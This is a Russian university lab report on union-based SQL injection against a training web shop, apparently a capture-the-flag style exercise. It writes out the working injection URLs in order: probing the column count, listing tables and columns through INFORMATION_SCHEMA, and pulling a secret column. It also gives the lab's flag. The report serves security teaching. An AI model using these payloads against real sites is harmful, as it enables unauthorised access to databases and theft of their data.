Скачиваний:
0
Добавлен:
17.07.2026
Размер:
599 Кб
Скачать

МИНОБРНАУКИ РОССИИ

Санкт-Петербургский государственный

электротехнический университет

«ЛЭТИ» им. В.И. Ульянова (Ленина)

Кафедра информационной безопасности

ПрактическаЯ РАБОТА №5

по дисциплине «Угрозы и уязвимости информационной безопасности компьютерных сетей»

Тема: SQL-injection Union-based.

Студент гр. _________________

Преподаватель _________________ Фаткиева Р.Р.

Санкт-Петербург

2026

В самом начале пользователь попадает на страницу некого интернет-магазина (рисунок 1)

Рисунок 1. Стартовый экран

Теперь же необходимо заполнить данные для заказа и сохранить ее (рисунок 2)

Рисунок 2. Заполнение формы

Теперь же введем ссылку, дополнив ее SQL запросом и перейдем по ней.:

orderID=1%20UNION%20SELECT%20%201,2,3,4,5,6--%20-

Рисунок 3. Ответ сервера

Сервер ответил

The used SELECT statements have a different number of columns in /var/www/html/receipt.php:17

Это значит, что таблица действительно существует, но имеет иное количество столбцов.

При изменении обращения к таблице на такое, что можно «вытащить» название столбца под номером 5, можно действительно увидеть его название:

?orderID=-1%20UNION%20SELECT%201,2,3,4,TABLE_NAME,6,7,8%20FROM%20INFORMATION_SCHEMA.tables%20--%20-

Рисунок 4. Название столбца в поле комментариев

Если же сделать запрос таким образом, чтобы можно было вывести информацию, в данном случае названия, о всех таблицах, которые есть в базе

Запрос: ?orderID=-1%20UNION%20SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME,%20%27-%27),6,7,8%20FROM INFORMATION_SCHEMA.tables%20--%20-

Рисунок 5. Информация о таблицах.

Среди названий всех таблиц можно увидеть некую «super_secret_table», в которой, вероятнее всего, находится искомый флаг.

Далее необходимо обратиться к данной «секретной» таблице, чтобы узнать названия столбцов в ней. Исправь запрос следующим образом:

?orderID=-1%20UNION%20SELECT%201,2,3,4,GROUP_CONCAT (COLUMN_NAME,%20%27-%27),6,7,8%20FROM% INFORMATION_SCHEMA.columns%20WHERE%20table_name=%27super_secret_table%27%20--%20-

Рисунок 6. Название столбцов секретной таблицы

Зная названия нужного столбца, необходимо просто обратиться к нему, чтобы получить нужные данные:

?orderID=-1%20UNION%20SELECT%201,2,3,4,super_secret_column,6,7,8%20FROM%20super_secret_table%20--%20-

Рисунок 7. Флаг найден

Искомый флаг: 2c16b1c6a40ffd585faf8caddad2bb40

Рисунок 8. Успех

Список использованных источников

  1. Информация с сайта. URL: https://labs.cyber-ed.ru/group/38/task/19/ (дата обращения 22.04.2026)

  2. Информация с сайта. URL: https://stepik.org/lesson/1104693/ (дата обращения 22.04.2026)

Соседние файлы в предмете Угрозы и уязвимости информационной безопасности компьютерных сетей